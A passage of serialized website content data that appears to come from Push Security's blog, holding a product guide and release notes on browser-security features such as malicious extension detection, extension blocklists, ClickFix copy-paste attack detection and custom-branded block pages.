work?","how-does-mfa-enforcement-work",10121,{"sys":19773,"__typename":19743,"title":19774,"slug":19775,"articleId":19776},{"id":19273},"How does strong password enforcement work?","how-does-strong-password-enforcement-work",10129,{"sys":19778,"__typename":19743,"title":19779,"slug":19780,"articleId":19781},{"id":19297},"What can I use the app banner for? Templates and examples","what-can-i-use-the-app-banner-for-templates-and-examples",10106,{"sys":19783,"__typename":19743,"title":19784,"slug":19785,"articleId":19786},{"id":19320},"Can Push detect and disable other installed browser extensions?","can-push-detect-other-installed-browser-extensions",10138,[19788,19825,19831,19850,19858,19883,19921,19924,19932,19940,19948,19956,19964],{"sys":19789,"__typename":1679,"content":19790,"name":19824,"title":59},{"id":18422},{"json":19791},{"nodeType":1663,"data":19792,"content":19793},{},[19794],{"nodeType":866,"data":19795,"content":19796},{},[19797,19800,19808,19812,19820],{"nodeType":865,"value":21,"marks":19798,"data":19799},[],{},{"nodeType":889,"data":19801,"content":19803},{"uri":19802},"https://www.crowdstrike.com/explore/2026-global-threat-report?utm_medium=dir",[19804],{"nodeType":865,"value":19805,"marks":19806,"data":19807},"Crowdstrike reports",[],{},{"nodeType":865,"value":19809,"marks":19810,"data":19811}," that valid account abuse accounted for 35% of incidents in 2025, while ",[],{},{"nodeType":889,"data":19813,"content":19815},{"uri":19814},"https://www.verizon.com/business/resources/reports/dbir/",[19816],{"nodeType":865,"value":19817,"marks":19818,"data":19819},"Verizon reports",[],{},{"nodeType":865,"value":19821,"marks":19822,"data":19823}," that identity is now the primary breach vector observed across all methods.",[],{},"Guide: Protecting Users IB 1",{"sys":19826,"__typename":19827,"title":19828,"arcadeDemoUrl":19829,"playText":19830},{"id":18449},"ArcadeDemo","Custom branding for Push controls","https://demo.arcade.software/kBqjoJqArDTsUtB6HHwR?embed","2 mins",{"sys":19832,"__typename":1679,"content":19833,"name":19849,"title":59},{"id":18473},{"json":19834},{"nodeType":1663,"data":19835,"content":19836},{},[19837],{"nodeType":866,"data":19838,"content":19839},{},[19840,19844],{"nodeType":865,"value":19841,"marks":19842,"data":19843},"It's harder than ever to identify malicious scenarios when browsing the web as part of your routine, daily activities — and the list of attacks to be aware of is growing every day. ",[],{},{"nodeType":865,"value":19845,"marks":19846,"data":19848},"It was hard enough to train users not to click links in emails when that was pretty much the only thing they had to watch out for.  ",[19847],{"type":935},{},"Guide: Protecting Users IB 3",{"sys":19851,"__typename":1671,"title":19852,"caption":19853,"layoutMode":59,"file":19854},{"id":18479},"Don't make employees the weak link image - blog - custom branding","It's harder than ever for users to identify malicious content on the web, with attackers abusing an ever-increasing list of actions that feel pretty normal to users, with a wide range of malicious payloads.",{"url":19855,"width":19856,"height":19857},"https://images.ctfassets.net/y1cdw1ablpvd/2aSm6QBWDOU6JBtOLfyp6R/d63cacab198ef9b325cbcfdbe0373b5a/Browser_Attacks_Targeting_Users__1_.png",4046,2160,{"sys":19859,"__typename":1679,"content":19860,"name":19882,"title":59},{"id":18761},{"json":19861},{"nodeType":1663,"data":19862,"content":19863},{},[19864],{"nodeType":866,"data":19865,"content":19866},{},[19867,19871,19878],{"nodeType":865,"value":19868,"marks":19869,"data":19870},"Learn more about the browser-based attack techniques driving the biggest breaches of the last year in our ",[],{},{"nodeType":889,"data":19872,"content":19873},{"uri":152},[19874],{"nodeType":865,"value":19875,"marks":19876,"data":19877},"2026 Browser Attack Techniques",[],{},{"nodeType":865,"value":19879,"marks":19880,"data":19881}," ebook.",[],{},"Browser attack techniques ebook callout",{"sys":19884,"__typename":1679,"content":19885,"name":19920,"title":59},{"id":18904},{"json":19886},{"nodeType":1663,"data":19887,"content":19888},{},[19889],{"nodeType":866,"data":19890,"content":19891},{},[19892,19896,19905,19909,19916],{"nodeType":865,"value":19893,"marks":19894,"data":19895},"The Push research team has written extensively about how cloud-first operators like ",[],{},{"nodeType":11114,"data":19897,"content":19901},{"target":19898},{"sys":19899},{"id":19900,"type":918,"linkType":919},"2sFCww9xnI8okIxhtOaiY1",[19902],{"nodeType":865,"value":2304,"marks":19903,"data":19904},[],{},{"nodeType":865,"value":19906,"marks":19907,"data":19908}," use a variety of methods to ",[],{},{"nodeType":889,"data":19910,"content":19911},{"uri":1388},[19912],{"nodeType":865,"value":19913,"marks":19914,"data":19915},"evade existing security controls",[],{},{"nodeType":865,"value":19917,"marks":19918,"data":19919},", if you’d like to dig into the details.",[],{},"Guide: Protecting Users IB 2",{"sys":19922,"__typename":1671,"title":12116,"caption":12117,"layoutMode":59,"file":19923},{"id":11427},{"url":12119,"width":1675,"height":12120},{"sys":19925,"__typename":1671,"title":19926,"caption":19927,"layoutMode":59,"file":19928},{"id":19138},"Sample ClickFix detection - blog article - custom branding","Sample screenshot captured from a malicious copy-paste attack",{"url":19929,"width":19930,"height":19931},"https://images.ctfassets.net/y1cdw1ablpvd/3xaJZGyhSbqqLZ7iyiqb40/427c9eeb7312dc1d85d57b10b2ffec11/clickfix_screenshot_example.png",947,244,{"sys":19933,"__typename":1671,"title":19934,"caption":19935,"layoutMode":59,"file":19936},{"id":19192},"Sample phishing block page - blog article - custom branding","Sample phishing block page with custom branding",{"url":19937,"width":19938,"height":19939},"https://images.ctfassets.net/y1cdw1ablpvd/2eQNuARuzPujGm1tfYxFhf/1ebce9e33cf89368d1e9ce9104382641/phishing_block_page_branded.png",1274,719,{"sys":19941,"__typename":1671,"title":19942,"caption":19943,"layoutMode":59,"file":19944},{"id":19421},"MFA enforcement banner example - blog article - custom branding","MFA enforcement banner with custom branding and dark theme option",{"url":19945,"width":19946,"height":19947},"https://images.ctfassets.net/y1cdw1ablpvd/8srMEvq3vFJQiEyIaESDw/fdff9a4f3bd0eadb5f58ff9fac4ada74/MFA_enforcement_banner_branded_sample.png",1472,756,{"sys":19949,"__typename":1671,"title":19950,"caption":19951,"layoutMode":59,"file":19952},{"id":19474},"Sample blocking banner - blog article - custom branding","Sample blocking banner",{"url":19953,"width":19954,"height":19955},"https://images.ctfassets.net/y1cdw1ablpvd/2b3bGaN3vQBXn5SL8BlbzZ/fbe21cc6e6387856e2d3a56ffb6a1e82/banner_example_branded_block.png",1304,812,{"sys":19957,"__typename":1671,"title":19958,"caption":19959,"layoutMode":59,"file":19960},{"id":19561},"Rule configuration example - blog article - custom branding","Rule configuration slideout for Phishing tool detection",{"url":19961,"width":19962,"height":19963},"https://images.ctfassets.net/y1cdw1ablpvd/2O0ptkRr7E0QPlfABl3zq9/1e2204b441b50129f543177a99c46fa6/config_rule_scope_mode_example.png",739,820,{"sys":19965,"__typename":1671,"title":19966,"caption":19967,"layoutMode":59,"file":19968},{"id":19632},"Branding settings - blog article - custom branding","Branding configuration options for banners and block pages",{"url":19969,"width":19970,"height":19971},"https://images.ctfassets.net/y1cdw1ablpvd/4EX3DqVhvOMCyNFYSBJ1rF/caabcddde02e65e363f2354aa7ab2be0/branding_settings.png",995,817,{"items":19973},[],{},"Guide: How to use Push to protect users from browser threats","guide","2026-04-08T00:00:00.000Z",{"items":19979},[],"guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks","blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks",{"json":19983},{"data":19984,"content":19985,"nodeType":1663},{},[19986],{"data":19987,"content":19988,"nodeType":866},{},[19989],{"data":19990,"marks":19991,"value":19992,"nodeType":865},{},[],"If you want to protect employees working in the browser, you need to get as close to the user as possible. In this Push product guide, we’ll cover how to use in-browser controls to stop attacks before compromise can occur, and to guide users to remediate vulnerabilities — all using your custom branding to increase trust.","How to use in-browser controls to stop browser-based attacks before compromise can occur",{"id":19995,"publishedAt":19996},"wI3paLVDlEKdaRI5qMYFc","2026-08-12T11:53:00.921Z",{"items":19998},[19999,20001],{"sys":20000,"name":2663},{"id":2662},{"sys":20002,"name":342},{"id":2666},{"items":20004},[20005,20007,20009,20011,20013,20015,20017,20019,20021,20023,20025,20027,20029,20031,20033,20035,20037,20039],{"sys":20006,"name":279,"slug":280,"tier":31},{"id":276},{"sys":20008,"name":297,"slug":298,"tier":31},{"id":294},{"sys":20010,"name":519,"slug":520,"tier":31},{"id":516},{"sys":20012,"name":342,"slug":343,"tier":31},{"id":339},{"sys":20014,"name":413,"slug":414,"tier":31},{"id":410},{"sys":20016,"name":261,"slug":262,"tier":45},{"id":258},{"sys":20018,"name":315,"slug":316,"tier":45},{"id":312},{"sys":20020,"name":324,"slug":325,"tier":45},{"id":321},{"sys":20022,"name":457,"slug":458,"tier":45},{"id":454},{"sys":20024,"name":466,"slug":467,"tier":45},{"id":463},{"sys":20026,"name":502,"slug":503,"tier":45},{"id":499},{"sys":20028,"name":288,"slug":289,"tier":45},{"id":285},{"sys":20030,"name":607,"slug":608,"tier":45},{"id":604},{"sys":20032,"name":448,"slug":449,"tier":45},{"id":445},{"sys":20034,"name":589,"slug":590,"tier":45},{"id":586},{"sys":20036,"name":580,"slug":581,"tier":45},{"id":577},{"sys":20038,"name":351,"slug":352,"tier":45},{"id":348},{"sys":20040,"name":598,"slug":599,"tier":45},{"id":595},"r6A4hwgdXf1AftoB3nqlkUp1HAEfQHUQeYO8ACKCPuA",{"id":20043,"title":20044,"authorsCollection":20045,"content":20053,"extension":228,"faqItemsCollection":20595,"faqTitle":59,"featured":6,"hashTags":59,"meta":20597,"metaTitle":20598,"ogImage":59,"postType":20599,"publishedDate":20600,"relatedBlogPostsCollection":20601,"slug":21321,"stem":21322,"subtitle":59,"summary":21323,"synopsis":21334,"sys":21335,"tagsCollection":21338,"topicsCollection":21342,"__hash__":21352},"blog/blog/product-release-march-2026.json","Product release: March 2026",{"items":20046},[20047],{"fullName":20048,"firstName":20049,"jobTitle":20050,"socialLinks":59,"profilePicture":20051},"Andy Waugh","Andy","VP Product",{"url":20052},"https://images.ctfassets.net/y1cdw1ablpvd/3Rf76rJn6S9inMb4dUnAIJ/0a787f8141d05b95300e2fe77c4493fa/DSC_6868.jpg",{"json":20054,"links":20548},{"data":20055,"content":20056,"nodeType":1663},{},[20057,20064,20127,20134,20141,20157,20173,20179,20196,20202,20217,20224,20230,20247,20253,20274,20307,20324,20330,20337,20352,20358,20376,20382,20389,20412,20437,20455,20462,20469,20542],{"data":20058,"content":20059,"nodeType":953},{},[20060],{"data":20061,"marks":20062,"value":20063,"nodeType":865},{},[],"What's new this month:",{"data":20065,"content":20066,"nodeType":2374},{},[20067,20077,20087,20097,20107,20117],{"data":20068,"content":20069,"nodeType":2309},{},[20070],{"data":20071,"content":20072,"nodeType":866},{},[20073],{"data":20074,"marks":20075,"value":20076,"nodeType":865},{},[],"Detect malicious browser extensions",{"data":20078,"content":20079,"nodeType":2309},{},[20080],{"data":20081,"content":20082,"nodeType":866},{},[20083],{"data":20084,"marks":20085,"value":20086,"nodeType":865},{},[],"Create a blocklist or allowlist for browser extensions",{"data":20088,"content":20089,"nodeType":2309},{},[20090],{"data":20091,"content":20092,"nodeType":866},{},[20093],{"data":20094,"marks":20095,"value":20096,"nodeType":865},{},[],"Block ClickFix-style attacks and collect payloads for investigation",{"data":20098,"content":20099,"nodeType":2309},{},[20100],{"data":20101,"content":20102,"nodeType":866},{},[20103],{"data":20104,"marks":20105,"value":20106,"nodeType":865},{},[],"Custom branding for employee-facing banners and block pages",{"data":20108,"content":20109,"nodeType":2309},{},[20110],{"data":20111,"content":20112,"nodeType":866},{},[20113],{"data":20114,"marks":20115,"value":20116,"nodeType":865},{},[],"Collect additional metadata to support threat detection",{"data":20118,"content":20119,"nodeType":2309},{},[20120],{"data":20121,"content":20122,"nodeType":866},{},[20123],{"data":20124,"marks":20125,"value":20126,"nodeType":865},{},[],"And a few other things … ",{"data":20128,"content":20129,"nodeType":953},{},[20130],{"data":20131,"marks":20132,"value":20133,"nodeType":865},{},[],"Detect malicious extensions",{"data":20135,"content":20136,"nodeType":866},{},[20137],{"data":20138,"marks":20139,"value":20140,"nodeType":865},{},[],"Push can now detect and block malicious browser extensions found in your environment. ",{"data":20142,"content":20143,"nodeType":866},{},[20144,20148,20153],{"data":20145,"marks":20146,"value":20147,"nodeType":865},{},[],"Push maintains a global list of malicious extensions based on our own threat research and publicly available threat intelligence. When an extension in your environment matches a malicious extension ID, Push will raise a detection on the ",{"data":20149,"marks":20150,"value":20152,"nodeType":865},{},[20151],{"type":935},"Detections",{"data":20154,"marks":20155,"value":20156,"nodeType":865},{},[]," page of the Push admin console. You can also configure the control to warn or block users automatically.",{"data":20158,"content":20159,"nodeType":866},{},[20160,20164,20169],{"data":20161,"marks":20162,"value":20163,"nodeType":865},{},[],"To enable malicious extension detection, go to the ",{"data":20165,"marks":20166,"value":20168,"nodeType":865},{},[20167],{"type":935},"Controls",{"data":20170,"marks":20171,"value":20172,"nodeType":865},{},[]," page in the Push admin console. ",{"data":20174,"content":20178,"nodeType":921},{"target":20175},{"sys":20176},{"id":20177,"type":918,"linkType":919},"1QV5UQ04MYLpWY7jTocvO4",[],{"data":20180,"content":20181,"nodeType":866},{},[20182,20185,20193],{"data":20183,"marks":20184,"value":21,"nodeType":865},{},[],{"data":20186,"content":20189,"nodeType":11114},{"target":20187},{"sys":20188},{"id":19026,"type":918,"linkType":919},[20190],{"data":20191,"marks":20192,"value":11994,"nodeType":865},{},[],{"data":20194,"marks":20195,"value":21,"nodeType":865},{},[],{"data":20197,"content":20198,"nodeType":953},{},[20199],{"data":20200,"marks":20201,"value":20086,"nodeType":865},{},[],{"data":20203,"content":20204,"nodeType":866},{},[20205,20209,20213],{"data":20206,"marks":20207,"value":20208,"nodeType":865},{},[],"You can also block unwanted extensions or allowlist only the extensions you want in your environment, using Push’s ",{"data":20210,"marks":20211,"value":19449,"nodeType":865},{},[20212],{"type":935},{"data":20214,"marks":20215,"value":20216,"nodeType":865},{},[]," control.",{"data":20218,"content":20219,"nodeType":866},{},[20220],{"data":20221,"marks":20222,"value":20223,"nodeType":865},{},[],"End-users will see a block page if they attempt to enable a blocked extension or install one via the Chrome or Microsoft extension stores.",{"data":20225,"content":20229,"nodeType":921},{"target":20226},{"sys":20227},{"id":20228,"type":918,"linkType":919},"3OCdGfsyNTLXQx77dwzY9L",[],{"data":20231,"content":20232,"nodeType":866},{},[20233,20236,20244],{"data":20234,"marks":20235,"value":21,"nodeType":865},{},[],{"data":20237,"content":20240,"nodeType":11114},{"target":20238},{"sys":20239},{"id":19320,"type":918,"linkType":919},[20241],{"data":20242,"marks":20243,"value":11994,"nodeType":865},{},[],{"data":20245,"marks":20246,"value":21,"nodeType":865},{},[],{"data":20248,"content":20249,"nodeType":953},{},[20250],{"data":20251,"marks":20252,"value":20096,"nodeType":865},{},[],{"data":20254,"content":20255,"nodeType":866},{},[20256,20260,20270],{"data":20257,"marks":20258,"value":20259,"nodeType":865},{},[],"You can now block ClickFix-style malicious copy and paste attacks using Push. These are one of the ",{"data":20261,"content":20265,"nodeType":11114},{"target":20262},{"sys":20263},{"id":20264,"type":918,"linkType":919},"1u8RJxC00HbBhCBVxcDnkK",[20266],{"data":20267,"marks":20268,"value":20269,"nodeType":865},{},[],"fastest-growing",{"data":20271,"marks":20272,"value":20273,"nodeType":865},{},[]," browser-based attacks. You can also choose to collect the payload for your security team to investigate.",{"data":20275,"content":20276,"nodeType":866},{},[20277,20281,20286,20290,20295,20298,20303],{"data":20278,"marks":20279,"value":20280,"nodeType":865},{},[],"From the Push admin console, go to ",{"data":20282,"marks":20283,"value":20285,"nodeType":865},{},[20284],{"type":935},"Controls > Malicious copy and paste detection",{"data":20287,"marks":20288,"value":20289,"nodeType":865},{},[],". Then create a configuration rule to select the ",{"data":20291,"marks":20292,"value":20294,"nodeType":865},{},[20293],{"type":935},"Mode",{"data":20296,"marks":20297,"value":1182,"nodeType":865},{},[],{"data":20299,"marks":20300,"value":20302,"nodeType":865},{},[20301],{"type":935},"Scope",{"data":20304,"marks":20305,"value":20306,"nodeType":865},{},[],". If you’ve enabled payload collection, Push will collect the malicious payload and include it in the detection event.",{"data":20308,"content":20309,"nodeType":866},{},[20310,20313,20321],{"data":20311,"marks":20312,"value":21,"nodeType":865},{},[],{"data":20314,"content":20317,"nodeType":11114},{"target":20315},{"sys":20316},{"id":19047,"type":918,"linkType":919},[20318],{"data":20319,"marks":20320,"value":11994,"nodeType":865},{},[],{"data":20322,"marks":20323,"value":21,"nodeType":865},{},[],{"data":20325,"content":20326,"nodeType":953},{},[20327],{"data":20328,"marks":20329,"value":20106,"nodeType":865},{},[],{"data":20331,"content":20332,"nodeType":866},{},[20333],{"data":20334,"marks":20335,"value":20336,"nodeType":865},{},[],"Customize the look and feel of employee-facing banners and warn or block pages by adding your company logo, accent color, and choice of light or dark mode themes. ",{"data":20338,"content":20339,"nodeType":866},{},[20340,20344,20349],{"data":20341,"marks":20342,"value":20343,"nodeType":865},{},[],"To add your brand elements, go to ",{"data":20345,"marks":20346,"value":20348,"nodeType":865},{},[20347],{"type":935},"Settings > Branding",{"data":20350,"marks":20351,"value":1066,"nodeType":865},{},[],{"data":20353,"content":20357,"nodeType":921},{"target":20354},{"sys":20355},{"id":20356,"type":918,"linkType":919},"3Jawd7IBSA3GF2XBHARsn",[],{"data":20359,"content":20360,"nodeType":866},{},[20361,20364,20373],{"data":20362,"marks":20363,"value":21,"nodeType":865},{},[],{"data":20365,"content":20369,"nodeType":11114},{"target":20366},{"sys":20367},{"id":20368,"type":918,"linkType":919},"4i1KWgBfYqtFYlUFRYiGdW",[20370],{"data":20371,"marks":20372,"value":11994,"nodeType":865},{},[],{"data":20374,"marks":20375,"value":21,"nodeType":865},{},[],{"data":20377,"content":20378,"nodeType":953},{},[20379],{"data":20380,"marks":20381,"value":20116,"nodeType":865},{},[],{"data":20383,"content":20384,"nodeType":866},{},[20385],{"data":20386,"marks":20387,"value":20388,"nodeType":865},{},[],"The Push browser extension can now collect additional metadata and store it locally for up to 30 days, powering more diverse and precise detections, including for emerging threats. ",{"data":20390,"content":20391,"nodeType":866},{},[20392,20396,20400,20404,20408],{"data":20393,"marks":20394,"value":20395,"nodeType":865},{},[],"Detections informed by this metadata will be raised on the ",{"data":20397,"marks":20398,"value":20152,"nodeType":865},{},[20399],{"type":935},{"data":20401,"marks":20402,"value":20403,"nodeType":865},{},[]," page. Note that these detections do not block end-user activity and are ",{"data":20405,"marks":20406,"value":19535,"nodeType":865},{},[20407],{"type":935},{"data":20409,"marks":20410,"value":20411,"nodeType":865},{},[]," mode only.",{"data":20413,"content":20414,"nodeType":866},{},[20415,20419,20424,20428,20433],{"data":20416,"marks":20417,"value":20418,"nodeType":865},{},[],"We recommend you enable ",{"data":20420,"marks":20421,"value":20423,"nodeType":865},{},[20422],{"type":935},"Browser event storage",{"data":20425,"marks":20426,"value":20427,"nodeType":865},{},[]," to take advantage of this capability. Go to ",{"data":20429,"marks":20430,"value":20432,"nodeType":865},{},[20431],{"type":935},"Settings > Telemetry > Browser event storage",{"data":20434,"marks":20435,"value":20436,"nodeType":865},{},[]," in the admin console.",{"data":20438,"content":20439,"nodeType":866},{},[20440,20443,20452],{"data":20441,"marks":20442,"value":21,"nodeType":865},{},[],{"data":20444,"content":20448,"nodeType":11114},{"target":20445},{"sys":20446},{"id":20447,"type":918,"linkType":919},"1x69JxXcDWEDIzYXUM8nGb",[20449],{"data":20450,"marks":20451,"value":11994,"nodeType":865},{},[],{"data":20453,"marks":20454,"value":21,"nodeType":865},{},[],{"data":20456,"content":20457,"nodeType":953},{},[20458],{"data":20459,"marks":20460,"value":20461,"nodeType":865},{},[],"And a few other things ...",{"data":20463,"content":20464,"nodeType":866},{},[20465],{"data":20466,"marks":20467,"value":20468,"nodeType":865},{},[],"Other new features or improvements to the platform include:",{"data":20470,"content":20471,"nodeType":2374},{},[20472,20492,20502,20522],{"data":20473,"content":20474,"nodeType":2309},{},[20475],{"data":20476,"content":20477,"nodeType":866},{},[20478,20482,20489],{"data":20479,"marks":20480,"value":20481,"nodeType":865},{},[],"You can now configure the frequency with which app banners will be displayed: either per-tab or per-browser. ",{"data":20483,"content":20485,"nodeType":889},{"uri":20484},"/help/10125#frequency",[20486],{"data":20487,"marks":20488,"value":11994,"nodeType":865},{},[],{"data":20490,"marks":20491,"value":21,"nodeType":865},{},[],{"data":20493,"content":20494,"nodeType":2309},{},[20495],{"data":20496,"content":20497,"nodeType":866},{},[20498],{"data":20499,"marks":20500,"value":20501,"nodeType":865},{},[],"You can now define an Owner role as part of Push’s RBAC options. Only Owners can edit roles, delete your team (e.g. tenant), change default SAML roles, or update your team name.",{"data":20503,"content":20504,"nodeType":2309},{},[20505],{"data":20506,"content":20507,"nodeType":866},{},[20508,20512,20519],{"data":20509,"marks":20510,"value":20511,"nodeType":865},{},[],"Webhook events now include detection details, for greater context. ",{"data":20513,"content":20515,"nodeType":889},{"uri":20514},"https://pushsecurity.com/help/audience/engineering/webhooks-v1/detections",[20516],{"data":20517,"marks":20518,"value":11994,"nodeType":865},{},[],{"data":20520,"marks":20521,"value":21,"nodeType":865},{},[],{"data":20523,"content":20524,"nodeType":2309},{},[20525],{"data":20526,"content":20527,"nodeType":866},{},[20528,20532,20539],{"data":20529,"marks":20530,"value":20531,"nodeType":865},{},[],"Push now uses static IP addresses to emit webhook events. These IP addresses are in the same range we previously used, but if you wish to update your network filtering to these new, narrower IP addresses, you can. ",{"data":20533,"content":20535,"nodeType":889},{"uri":20534},"https://pushsecurity.com/help/audience/engineering/webhooks-v1/section/ip-addresses",[20536],{"data":20537,"marks":20538,"value":11994,"nodeType":865},{},[],{"data":20540,"marks":20541,"value":21,"nodeType":865},{},[],{"data":20543,"content":20544,"nodeType":866},{},[20545],{"data":20546,"marks":20547,"value":21,"nodeType":865},{},[],{"entries":20549},{"inline":20550,"hyperlink":20551,"block":20572},[],[20552,20554,20556,20560,20562,20567],{"sys":20553,"__typename":19743,"title":19754,"slug":19755,"articleId":19756},{"id":19026},{"sys":20555,"__typename":19743,"title":19784,"slug":19785,"articleId":19786},{"id":19320},{"sys":20557,"__typename":1802,"title":20558,"slug":20559},{"id":20264},"Introducing malicious copy and paste detection","introducing-malicious-copy-paste-detection",{"sys":20561,"__typename":19743,"title":19759,"slug":19760,"articleId":19761},{"id":19047},{"sys":20563,"__typename":19743,"title":20564,"slug":20565,"articleId":20566},{"id":20368},"How do I add custom branding to Push banners and block pages?","how-do-i-add-custom-branding-to-push-banners-and-block-pages",10147,{"sys":20568,"__typename":19743,"title":20569,"slug":20570,"articleId":20571},{"id":20447},"How do I configure browser event storage?","how-do-i-configure-browser-event-storage",10146,[20573,20580,20587],{"sys":20574,"__typename":1671,"title":20575,"caption":59,"layoutMode":59,"file":20576},{"id":20177},"Malicious extension detection - Controls page - for release notes",{"url":20577,"width":20578,"height":20579},"https://images.ctfassets.net/y1cdw1ablpvd/2OhoXumfBK0saT2oLeCPrI/95950149e4c7f11c53948ba0cf0b09b5/malicious_ext_det_controls_pg.png",1337,767,{"sys":20581,"__typename":1671,"title":20582,"caption":59,"layoutMode":59,"file":20583},{"id":20228},"Browser extension block screen - KB 10138",{"url":20584,"width":20585,"height":20586},"https://images.ctfassets.net/y1cdw1ablpvd/3i6Sj2jgOimCqGtpKy1B7p/3cc3e6b1e9f0b7c61565f3b3f7974844/extension_block_branded_20260420.png",2670,1626,{"sys":20588,"__typename":1671,"title":20589,"caption":20590,"layoutMode":59,"file":20591},{"id":20356},"Branded banner example - dark style - KB 10147","Example of a dark style mid-screen banner",{"url":20592,"width":20593,"height":20594},"https://images.ctfassets.net/y1cdw1ablpvd/F8v8jKH2SXlMeHbG83Nvh/2b7c51c8bbb2ad74947f4a2bcee3048b/midscreen_dark_banner.png",2944,562,{"items":20596},[],{},"Push Security new product features for March 2026","release-notes","2026-03-10T00:00:00.000Z",{"items":20602},[20603],{"__typename":1802,"sys":20604,"content":20606,"title":21307,"synopsis":21308,"hashTags":59,"publishedDate":21309,"slug":21310,"tagsCollection":21311,"authorsCollection":21317},{"id":20605},"3ygDMHnTN58Lyb3W3k969w",{"json":20607},{"data":20608,"content":20609,"nodeType":1663},{},[20610,20616,20688,20694,20701,20726,20750,20783,20789,20806,20812,20819,20826,20858,20864,20881,20887,20903,20910,20933,20940,20947,20970,20986,20992,20998,21005,21021,21028,21081,21088,21094,21112,21118,21133,21140,21163,21185,21191,21197,21301],{"data":20611,"content":20612,"nodeType":953},{},[20613],{"data":20614,"marks":20615,"value":20063,"nodeType":865},{},[],{"data":20617,"content":20618,"nodeType":2374},{},[20619,20629,20639,20649,20659,20669,20679],{"data":20620,"content":20621,"nodeType":2309},{},[20622],{"data":20623,"content":20624,"nodeType":866},{},[20625],{"data":20626,"marks":20627,"value":20628,"nodeType":865},{},[],"Get visibility for all installed browser extensions in your environment",{"data":20630,"content":20631,"nodeType":2309},{},[20632],{"data":20633,"content":20634,"nodeType":866},{},[20635],{"data":20636,"marks":20637,"value":20638,"nodeType":865},{},[],"New detection for ClickFix-style malicious copy-paste attacks",{"data":20640,"content":20641,"nodeType":2309},{},[20642],{"data":20643,"content":20644,"nodeType":866},{},[20645],{"data":20646,"marks":20647,"value":20648,"nodeType":865},{},[],"New Labs feature: Experimental detections",{"data":20650,"content":20651,"nodeType":2309},{},[20652],{"data":20653,"content":20654,"nodeType":866},{},[20655],{"data":20656,"marks":20657,"value":20658,"nodeType":865},{},[],"RBAC for the Push admin console",{"data":20660,"content":20661,"nodeType":2309},{},[20662],{"data":20663,"content":20664,"nodeType":866},{},[20665],{"data":20666,"marks":20667,"value":20668,"nodeType":865},{},[],"URLscan.io and domain registration enrichment for detections",{"data":20670,"content":20671,"nodeType":2309},{},[20672],{"data":20673,"content":20674,"nodeType":866},{},[20675],{"data":20676,"marks":20677,"value":20678,"nodeType":865},{},[],"Filter events by entities",{"data":20680,"content":20681,"nodeType":2309},{},[20682],{"data":20683,"content":20684,"nodeType":866},{},[20685],{"data":20686,"marks":20687,"value":20126,"nodeType":865},{},[],{"data":20689,"content":20690,"nodeType":953},{},[20691],{"data":20692,"marks":20693,"value":20628,"nodeType":865},{},[],{"data":20695,"content":20696,"nodeType":866},{},[20697],{"data":20698,"marks":20699,"value":20700,"nodeType":865},{},[],"You can now use Push to see other browser extensions installed on your employees’ browsers.",{"data":20702,"content":20703,"nodeType":866},{},[20704,20708,20713,20717,20722],{"data":20705,"marks":20706,"value":20707,"nodeType":865},{},[],"You can enable this feature by going to ",{"data":20709,"marks":20710,"value":20712,"nodeType":865},{},[20711],{"type":935},"Settings > Organization",{"data":20714,"marks":20715,"value":20716,"nodeType":865},{},[]," in the Push admin console and toggling on ",{"data":20718,"marks":20719,"value":20721,"nodeType":865},{},[20720],{"type":935},"Browser extension visibility",{"data":20723,"marks":20724,"value":20725,"nodeType":865},{},[],". There is no end-user impact when you enable this feature.",{"data":20727,"content":20728,"nodeType":866},{},[20729,20733,20737,20741,20746],{"data":20730,"marks":20731,"value":20732,"nodeType":865},{},[],"You’ll see browser extension data populate a new ",{"data":20734,"marks":20735,"value":288,"nodeType":865},{},[20736],{"type":935},{"data":20738,"marks":20739,"value":20740,"nodeType":865},{},[]," page in the admin console under ",{"data":20742,"marks":20743,"value":20745,"nodeType":865},{},[20744],{"type":935},"Investigate",{"data":20747,"marks":20748,"value":20749,"nodeType":865},{},[],". With this information, you can see:",{"data":20751,"content":20752,"nodeType":2374},{},[20753,20763,20773],{"data":20754,"content":20755,"nodeType":2309},{},[20756],{"data":20757,"content":20758,"nodeType":866},{},[20759],{"data":20760,"marks":20761,"value":20762,"nodeType":865},{},[],"Which extensions have been installed for each employee and browser.",{"data":20764,"content":20765,"nodeType":2309},{},[20766],{"data":20767,"content":20768,"nodeType":866},{},[20769],{"data":20770,"marks":20771,"value":20772,"nodeType":865},{},[],"How they were installed (e.g. by policy, manually, or sideloaded).",{"data":20774,"content":20775,"nodeType":2309},{},[20776],{"data":20777,"content":20778,"nodeType":866},{},[20779],{"data":20780,"marks":20781,"value":20782,"nodeType":865},{},[],"Which permissions they have.",{"data":20784,"content":20788,"nodeType":921},{"target":20785},{"sys":20786},{"id":20787,"type":918,"linkType":919},"5J5jdmwugy7yU8GGwxe7iH",[],{"data":20790,"content":20791,"nodeType":866},{},[20792,20795,20803],{"data":20793,"marks":20794,"value":21,"nodeType":865},{},[],{"data":20796,"content":20799,"nodeType":11114},{"target":20797},{"sys":20798},{"id":19320,"type":918,"linkType":919},[20800],{"data":20801,"marks":20802,"value":11994,"nodeType":865},{},[],{"data":20804,"marks":20805,"value":21,"nodeType":865},{},[],{"data":20807,"content":20808,"nodeType":953},{},[20809],{"data":20810,"marks":20811,"value":20638,"nodeType":865},{},[],{"data":20813,"content":20814,"nodeType":866},{},[20815],{"data":20816,"marks":20817,"value":20818,"nodeType":865},{},[],"Push can now detect malicious copy and paste attacks like ClickFix, FileFix, and other fake CAPTCHA-style techniques.",{"data":20820,"content":20821,"nodeType":866},{},[20822],{"data":20823,"marks":20824,"value":20825,"nodeType":865},{},[],"These techniques have become one of the most prevalent attack types this year, and rely on deceiving users into manually or automatically copying malicious code and running it locally.",{"data":20827,"content":20828,"nodeType":866},{},[20829,20833,20838,20842,20846,20850,20854],{"data":20830,"marks":20831,"value":20832,"nodeType":865},{},[],"You can enable ",{"data":20834,"marks":20835,"value":20837,"nodeType":865},{},[20836],{"type":935},"Malicious copy and paste detection",{"data":20839,"marks":20840,"value":20841,"nodeType":865},{},[]," from the ",{"data":20843,"marks":20844,"value":20168,"nodeType":865},{},[20845],{"type":935},{"data":20847,"marks":20848,"value":20849,"nodeType":865},{},[]," page of the Push admin console. Add a configuration rule to set the detection to ",{"data":20851,"marks":20852,"value":19535,"nodeType":865},{},[20853],{"type":935},{"data":20855,"marks":20856,"value":20857,"nodeType":865},{},[],". You can also add an exception for any staff who routinely handle malicious scripts, such as security team members, or add domains to the ignore list as 